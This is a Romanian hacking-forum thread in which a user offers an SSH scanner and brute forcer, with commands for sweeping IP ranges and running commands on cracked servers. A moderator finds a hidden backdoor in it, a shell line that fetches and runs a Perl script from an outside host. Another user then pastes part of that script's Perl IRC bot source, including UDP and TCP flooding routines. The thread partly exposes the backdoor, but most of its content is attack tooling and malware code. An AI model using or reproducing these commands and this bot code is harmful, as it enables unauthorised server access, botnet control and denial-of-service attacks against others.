Jump to content
halucin0g3n

NEW SSH BRUTE & SCANNER

By halucin0g3n, in Cosul de gunoi

Recommended Posts

halucin0g3n Newbie

halucin0g3n

Posted
Posted (edited)

Salut,

In ultimele zile am lucrat la un scanner & brute forcer ssh.

Mi-a venit ideea cand am dat intamplator peste o sursa de pe net fulg.c

In fine, din codul sursa de la fulg.c, am ajuns sa schimb peste 90% din cod.

In primul rand, scannerul permite executarea de comenzi pe serverele ghicite, in al doilea rand o sa mearga numai pe sisteme linux x64.

Cum poti rula comanda de scan:

./brute 800 -b 80.242 passfile 22 "uname -a"

Uname -a este comanda rulata pe servere. Aveti grija la ghilimele ptr. comenzi mai lungi de un cuvant, unde exista spatii.

Serverele sunt salvate in sparte.txt in formatul urmator:

root:password 84.242.202.220:22 --> Linux OpenWrt 2.6.33.5 #631 Mon Jun 27 10:04:08 NOVST 2011 armv6l unknown

User:parola ip:port si rezultatul comenzii uname -a

In felul asta vom stii cu siguranta ce prindem, cand prindem. Deasemenea poate fi folosit ptr. a urca automat arhive, pornit aplicatii, etc pe serverele prinse, ideea este sa fiti inventivi

Am inclus in arhiva si doua script-uri ptr. a fi mai usoara lucrarea cu scanner-ul.

Avem: a si mass

Editam fisierul a ptr. a schimbat comanda de executat si rulam ./a ip.ip port

Ptr. scan pe clasa A avem fisierul mass pe care-l rulam ./mass a b port unde a = clasa a si b = clasa b de la care sa porneasca.

Daca rulam ./mass 5 100 22 o sa ne scaneze 5.100, 5.101, 5.102 pana la 5.255

Daca rulam ./mass 5 0 22 o sa ne scaneze 5.0, 5.1, 5.2 pana la 5.255

Download // REMOVED

Succes!

Edited by Nytro
Link to comment
Share on other sites
Sadiq Newbie

Sadiq

Posted
Posted (edited)

La mine ./mass nu merge...

Linux ***************** 2.6.32-358.14.1.el6.x86_64 #1 SMP Tue Jul 16 23:51:20 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

De fapt singura comanda care merge e asta:

./brute 800 -b 80.242 passfile 22 "uname -a" Ma rog, schimb clasa b si scaneaza si pare ca incearca sa crackuiasca. vedem maine dimineata

Edited by Sadiq
Link to comment
Share on other sites
Gio33 Newbie

Gio33

Posted
Posted

Esti sigur ca functioneaza corect threadurile ? eu oricat pun 10-800-2000 se misca la fel.

In alta ordine de idei sper ca nu e vreun mailer / ftp / http sender prin el, n-am avut timp sa-l iau la puricat, vad totusi ca l-ai "pack-uit" cu UPX, ascunde ceva? :)

Link to comment
Share on other sites
Nytro Mentor

Nytro

Posted
Posted (edited)

Firefox can't find the server at zobnet.go.ro.

Da:

cd /var/tmp;mkdir test; echo 'wget zobnet.go.ro/perl.pl
perl perl.pl
rm perl*
rm a' > a; bash a &

Pare backdoor. Asteptam un mesaj de la nenea de mai sus cu niste explicatii. Link removed.

Edited by Nytro
Link to comment
Share on other sites
Gio33 Newbie

Gio33

Posted
Posted (edited)

Poftim @resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
##############
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $port = 1;
$port <= 65000; $port++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3;
$pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
##############
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
##############
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
exit;
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}

sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }

}

###################
##### END #####
###################

Edited by Gio33
Link to comment
Share on other sites
halucin0g3n Newbie

halucin0g3n

Posted
  • Author
Posted

bai, sincer nu stiu ce sa zic. nu vreau sa para nici ca ma trag pe cur, nici ca vezi doamne, ca stai asa ca nu-i asa, ca car ca mar. sincer, functia respectiva am folosit-o in testare. nu este activa, scannerul fo0loseste alta functie. imi cer mii de scuze.

Link to comment
Share on other sites
Guest
This topic is now closed to further replies.
Go to topic listing
×
×
  • Create New...